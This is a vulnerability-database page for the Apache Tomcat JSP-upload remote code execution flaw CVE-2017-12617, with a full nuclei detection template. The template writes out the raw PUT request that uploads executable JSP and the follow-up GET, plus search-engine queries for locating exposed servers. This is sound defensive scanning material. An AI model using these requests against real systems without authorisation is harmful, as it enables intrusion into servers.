Browse / CVEs / CVE-2017-12617
CVE-2017-12617· apache / tomcat· CWE-434
Apache Tomcat - Remote Code Execution
Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
Fix
Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
How to confirm it
Send: PUT /{{randstr}}.jsp/
Positive when: status 201
Send: GET /{{randstr}}.jsp
Positive when: contains "{{result}}" AND status 200Run it with nuclei: nuclei -id CVE-2017-12617 -u <target>
The full check
id: CVE-2017-12617
info:
name: Apache Tomcat - Remote Code Execution
author: pussycat0x
severity: high
description: |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
remediation: |
Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
reference:
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
- https://www.exploit-db.com/exploits/43008
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-12617
cwe-id: CWE-434
epss-score: 0.99968
epss-percentile: 0.99976
cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: apache
product: tomcat
shodan-query:
- html:"Apache Tomcat"
- http.title:"apache tomcat"
- http.html:"apache tomcat"
- cpe:"cpe:2.3:a:apache:tomcat"
fofa-query:
- body="apache tomcat"
- title="apache tomcat"
google-query: intitle:"apache tomcat"
tags: cve2017,cve,tomcat,apache,rce,kev,intrusive,vkev,vuln
flow: http(1) && http(2)
variables:
num1: "{{rand_int(30000, 40000)}}"
num2: "{{rand_int(30000, 40000)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
PUT /{{randstr}}.jsp/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
<% out.print({{num1}}*{{num2}}); %>
matchers:
- type: status
status:
- 201
internal: true
- raw:
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{result}}"
- type: status
status:
- 200References
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
- https://www.exploit-db.com/exploits/43008
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
Use this check only on systems you are authorised to test. Where the data comes from